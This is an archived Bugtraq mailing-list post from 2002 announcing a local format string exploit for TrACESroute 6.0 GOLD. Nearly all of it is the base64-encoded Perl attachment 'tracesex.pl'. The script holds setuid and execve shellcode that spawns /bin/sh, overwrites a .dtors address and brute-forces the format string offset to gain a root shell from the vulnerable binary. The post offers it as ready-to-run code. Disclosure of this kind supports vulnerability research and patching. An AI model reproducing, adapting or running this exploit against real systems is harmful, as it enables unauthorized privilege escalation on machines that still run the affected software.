 | ||||||
| << Previous | INDEX | Search | src | Set bookmark | Go to bookmark | Next >> |
| ||||||
| |||||||||||||||||||||
Date: Mon Jun 17 20:01:04 2002 From: "thc [@drug.org]" <thc@drug.org> To: bugtraq@securityfocus.com Subject: tracesex.pl : TrACESroute 6.0 GOLD local format string exploit ------------=_1024358464-5018-0 Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: binary Greetings, Attached is exploit code for the local format string vulnerability in TrACESroute 6.0 GOLD. - stringz ------------=_1024358464-5018-0 Content-Type: text/x-perl; name="tracesex.pl" Content-Disposition: inline; filename="tracesex.pl" Content-Transfer-Encoding: base64 IyEvdXNyL2Jpbi9wZXJsDQoNCiMjIC0tLS8gdHJhY2VzZXgucGwgLy0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LQ0KIyMNCiMjIFRyQUNFU3JvdXRlIDYuMCBHT0xEIGxvY2FsIGZvcm1hdCBz dHJpbmcgZXhwbG9pdA0KIyMgICAqIHRlc3RlZCBvbiBSZWQgSGF0IExpbnV4 IHJlbGVhc2UgNy4yIChFbmlnbWEpDQojIyAgICogSnVuIDEyIDIwMDINCiMj DQojIyBBdXRob3I6IHN0cmluZ3ogLy8gdGhjQGRydWcub3JnDQojIyBWdWxu ZXJhYmlsaXR5IGRpc2NvdmVyZWQgYnk6IGRvd25ibG9hZCAvLyBkb3duYmxv YWRAaG90bWFpbC5jb20NCiMjDQojIyBEZXZlbG9wZWQgb24gdGhlIFNub3Nv ZnQgQ2VyZWJydW0gdGVzdCBiZWQuIC0gaHR0cDovL3d3dy5zbm9zb2Z0LmNv bQ0KIyMNCiMjIEdyZWV0czogZzQ2Mywgc3lwaGl4LCBTIChzdXBlciksIEtG LCB2YWN1dW0sIGRhZ2VzaGksIHNvem5pLA0KIyMgICAgICAgICBvYnNjdXJl LCBqb3ZlLCByYWNoZWwsIGtldmluLCBhbmQgYWxsIG9mIG15IDJlMmggZnJp ZW5kcy4NCiMjDQojIyAtLS0vIHBvd2VyZWQgYnkgcG90IC8tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojIHNl dHVpZCArIGV4ZWN2ZSBzaGVsbGNvZGUNCiRrb2RlID0NCiAgIlx4MzFceGRi Ii4gICAgICAgICAgICAgICAgICMgeG9yIGVieCwgZWJ4DQogICJceGY3XHhl MyIuICAgICAgICAgICAgICAgICAjIG11bCBlYngNCiAgIlx4YjBceDE3Ii4g ICAgICAgICAgICAgICAgICMgbW92IGFsLCAweDE3DQogICJceGNkXHg4MCIu ICAgICAgICAgICAgICAgICAjIGludCAweDgwDQogICJceDMxXHhjMCIuICAg ICAgICAgICAgICAgICAjIHhvciAgZWF4LCBlYXgNCiAgIlx4OTkiLiAgICAg ICAgICAgICAgICAgICAgICMgY2RxDQogICJceDUyIi4gICAgICAgICAgICAg ICAgICAgICAjIHB1c2ggZWR4DQogICJceDY4XHgyZlx4MmZceDczXHg2OCIu ICAgICAjIHB1c2ggZHdvcmQgMHg2ODczMmYyZg0KICAiXHg2OFx4MmZceDYy XHg2OVx4NmUiLiAgICAgIyBwdXNoIGR3b3JkIDB4NmU2OTYyMmYNCiAgIlx4 ODlceGUzIi4gICAgICAgICAgICAgICAgICMgbW92ICBlYngsIGVzcA0KICAi XHg1MiIuICAgICAgICAgICAgICAgICAgICAgIyBwdXNoIGVkeA0KICAiXHg1 MyIuICAgICAgICAgICAgICAgICAgICAgIyBwdXNoIGVieA0KICAiXHg4OVx4 ZTEiLiAgICAgICAgICAgICAgICAgIyBtb3YgIGVjeCwgZXNwDQogICJceGIw XHgwYiIuICAgICAgICAgICAgICAgICAjIG1vdiAgYWwsIDB4MGINCiAgIlx4 Y2RceDgwIjsgICAgICAgICAgICAgICAgICMgaW50ICAweDgwDQoNCiR2dWxu ICAgID0gIi4vdHIiOyAgIyBDSEFOR0UgVEhJUyFAIyQlIQ0KJGR0b3JzICAg PSAweDgwNGU0OGMgKyA0OzsNCg0KcHJpbnRmKCJcbi0tIFRyQUNFU3JvdXRl IDYuMCBHT0xEIGxvY2FsIGZvcm1hdCBzdHJpbmcgZXhwbG9pdFxuIik7DQpw cmludGYoIi0tIEF1dGhvcjogc3RyaW5neiAvLyB0aGNcQGRydWcub3JnXG5c biIpOw0KcHJpbnRmKCItLSBWdWxuZXJhYmlsaXR5IGRpc2NvdmVyZWQgYnk6 IGRvd25ibG9hZCAvLyBkb3duYmxvYWRcQGhvdG1haWwuY29tXG4iKTsNCg0K JHJldF9hZGRyID0gMHhjMDAwMDAwMCAtIDQNCiAgICAtIChsZW5ndGgoJHZ1 bG4pICsgMSkNCiAgICAtIChsZW5ndGgoJGtvZGUpICsgMSkNCiAgICA7DQoN CnVuZGVmKCVFTlYpOyAkRU5WeycxMzM3J30gPSAka29kZTsNCg0KcHJpbnRm KCJvdmVyd3JpdGluZyAlIy4wOHggd2l0aCAlIy4wOHhcbiIsICRkdG9ycywg JHJldF9hZGRyKTsNCnByaW50ZigiYnJ1dGVmb3JjaW5nIGRpc3RhbmNlICgx IC4uIDMwMClcbiIpOw0Kc2xlZXAoMik7DQoNCmZvciAoMSAuLiAzMDApIHsN CiAgICAkZm10X3N0ciA9IHN3X2ZtdHN0cl9jcmVhdGUoJGR0b3JzLCAkcmV0 X2FkZHIsICRfKTsNCiAgICBkaWUoIlx4MGEiKSBpZiAoc3lzdGVtKCIkdnVs biAtVCAkZm10X3N0ciBsb2NhbGhvc3QiKSkNCiAgICAgICAgPX4gbS9eKDB8 MjU2fDUxMnwzMjUxMikkLzsgIyBtYXkgbmVlZCBhIHR3ZWFrIDspDQp9DQoN CnN1Yg0Kc3dfZm10c3RyX2NyZWF0ZSAoJCQkKQ0Kew0KICAgIGRpZSgiSW5j b3JyZWN0IG51bWJlciBvZiBhcmd1bWVudHMgZm9yIHN3X2ZtdHN0cl9jcmVh dGUiKQ0KICAgICAgICB1bmxlc3MgQF8gPT0gMzsNCg0KICAgIG15ICgkZGVz dF9hZGRyLCAkcmV0X2FkZHIsICRkaXN0KSA9IEBfOw0KICAgIG15ICgkd29y ZCwgJHF3b3JkKSA9ICgyLCA4KTsNCg0KICAgICMgJGRlc3RfYWRkciA9IHdo ZXJlIHRvIHdyaXRlICRyZXRfYWRkcg0KICAgICMgJHJldF9hZGRyICA9IHdo ZXJlIHRvIHJldHVybiBleGVjdXRpb24NCiAgICAjICRkaXN0ICAgICAgPSB0 aGUgY2FsY3VsYXRlZCBkaXN0YW5jZQ0KDQogICAgJHRtcDEgID0gKCgkcmV0 X2FkZHIgPj4gMTYpICYgMHhmZmZmKTsNCiAgICAkdG1wMiAgPSAkcmV0X2Fk ZHIgJiAweGZmZmY7DQoNCiAgICBpZiAoJHRtcDEgPCAkdG1wMikgew0KICAg ICAgICAkaGlnaCA9ICR0bXAxIC0gJHF3b3JkOw0KICAgICAgICAkbG93ICA9 ICR0bXAyIC0gJGhpZ2ggLSAkcXdvcmQ7DQoNCiAgICAgICAgJGRlc3RfYWRk cjEgPSBwYWNrKCdMJywgJGRlc3RfYWRkciArICR3b3JkKTsNCiAgICAgICAg JGRlc3RfYWRkcjIgPSBwYWNrKCdMJywgJGRlc3RfYWRkcik7DQogICAgfQ0K ICAgIGVsc2Ugew0KICAgICAgICAkaGlnaCA9ICR0bXAyIC0gJHF3b3JkOw0K ICAgICAgICAkbG93ICA9ICR0bXAxIC0gJGhpZ2ggLSAkcXdvcmQ7DQoNCiAg ICAgICAgJGRlc3RfYWRkcjEgPSBwYWNrKCdMJywgJGRlc3RfYWRkcik7DQog ICAgICAgICRkZXN0X2FkZHIyID0gcGFjaygnTCcsICRkZXN0X2FkZHIgKyAk d29yZCk7DQogICAgfQ0KDQogICAgc3ByaW50ZigiJS40cyUuNHMlJSV1dSUl JXVcJGhuJSUldXUlJSV1XCRobiIsDQogICAgICAgICAgICAkZGVzdF9hZGRy MSwgJGRlc3RfYWRkcjIsICRoaWdoLCAkZGlzdCwNCiAgICAgICAgICAgICRs b3csICRkaXN0ICsgMSk7DQp9DQo= ------------=_1024358464-5018-0--
| |||||||||||||||||||||